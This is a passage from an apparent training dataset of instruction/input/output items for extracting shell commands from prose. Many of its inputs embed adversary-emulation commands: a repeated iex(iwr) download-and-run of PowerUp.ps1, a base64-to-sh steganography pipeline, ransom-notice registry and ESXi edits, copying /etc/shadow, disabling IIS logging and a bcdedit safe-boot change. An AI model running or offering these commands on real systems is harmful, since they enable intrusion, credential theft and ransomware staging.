explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Configure the system to show a ransom message at startup by executing this registry modification command: $orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption).LegalNoticeCaption\n$orgLegalNoticeText = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText).LegalNoticeText\n$newLegalNoticeCaption = \"#{legal_notice_caption}\"\n$newLegalNoticeText = \"#{legal_notice_text}\"\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force; For changing the ESXi welcome message to potentially show ransom information, run the following: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\"", "output": "{\"command_list\": [\"$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeCaption).LegalNoticeCaption\\n$orgLegalNoticeText = (Get-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeText).LegalNoticeText\\n$newLegalNoticeCaption = \\\"#{legal_notice_caption}\\\"\\n$newLegalNoticeText = \\\"#{legal_notice_text}\\\"\\nSet-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\\nSet-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force \", \"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To demonstrate steganography techniques, the script is encoded in base64 and embedded into an image, then extracted and executed with this command: cat \"#{script}\" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat \"#{image}\" - > \"#{evil_image}\"; strings \"#{evil_image}\" | tail -n 1 | base64 -d | sh.; To exploit safe mode and prevent certain endpoint defenses from starting, adversaries may use this command: bcdedit /set safeboot network", "output": "{\"command_list\": [\"cat \\\"#{script}\\\" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat \\\"#{image}\\\" - > \\\"#{evil_image}\\\"; strings \\\"#{evil_image}\\\" | tail -n 1 | base64 -d | sh\", \"bcdedit /set safeboot network\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following script executes a ping sweep across the 192.168.1.1/24 range, displaying active hosts via stdout: for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo \"#{subnet}.$ip UP\" || : ; done; The script performs DNS lookups across the local subnet by first determining the IP range and then executing nslookup for each address, via the following PowerShell command:\n$localip = ((ipconfig | findstr [0-9]\\.\\\\.)[0]).Split()[-1]\n$pieces = $localip.split(\".\")\n$firstOctet = $pieces[0]\n$secondOctet = $pieces[1]\n$thirdOctet = $pieces[2]\nforeach ($ip in 1..255 | % { \"$firstOctet.$secondOctet.$thirdOctet.$_\" } ) {cmd.exe /c nslookup $ip}", "output": "{\"command_list\": [\"for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo \\\"#{subnet}.$ip UP\\\" || : ; done\\n\", \"$localip = ((ipconfig | findstr [0-9].\\\\.)[0]).Split()[-1]\\n$pieces = $localip.split(\\\".\\\")\\n$firstOctet = $pieces[0]\\n$secondOctet = $pieces[1]\\n$thirdOctet = $pieces[2]\\nforeach ($ip in 1..255 | % { \\\"$firstOctet.$secondOctet.$thirdOctet.$_\\\" } ) {cmd.exe /c nslookup $ip}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The system language can be determined by examining the locale configuration file, which you can access with this command: [ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale; To identify the system language, you can check the environment variables by running the following commands: env | grep LANG\nprintenv LANG\nset | grep LANG\n. The 5-character locale result can then be used to determine the language and territory.", "output": "{\"command_list\": [\"[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale\\n\", \"env | grep LANG\\nprintenv LANG\\nset | grep LANG\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can extract password files including /etc/passwd and /etc/shadow (plus /etc/master.passwd on FreeBSD systems) by running this command:\ntestcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }\n[ \"$(uname)\" = 'FreeBSD' ] && testcat /etc/master.passwd\ntestcat /etc/passwd\ntestcat /etc/shadow\n; For disabling HTTP logging on an IIS server similar to Bronze Union's methods, execute this command: C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:true. The operation requires HTTP logging configurations to be unlocked beforehand.", "output": "{\"command_list\": [\"testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }\\n[ \\\"$(uname)\\\" = 'FreeBSD' ] && testcat /etc/master.passwd\\ntestcat /etc/passwd\\ntestcat /etc/shadow\\n\", \"C:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe set config \\\"#{website_name}\\\" /section:httplogging /dontLog:true\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The system time can be displayed by executing this command in PowerShell: Get-Date; To check the current system time and timezone, run the following command: date", "output": "{\"command_list\": [\"Get-Date\\n\", \"date\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For shutting down a Windows system, run the command: shutdown /s /t #{timeout}; A system restart can be initiated by executing this command: shutdown /r /t #{timeout}", "output": "{\"command_list\": [\"shutdown /s /t #{timeout}\\n\", \"shutdown /r /t #{timeout}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... 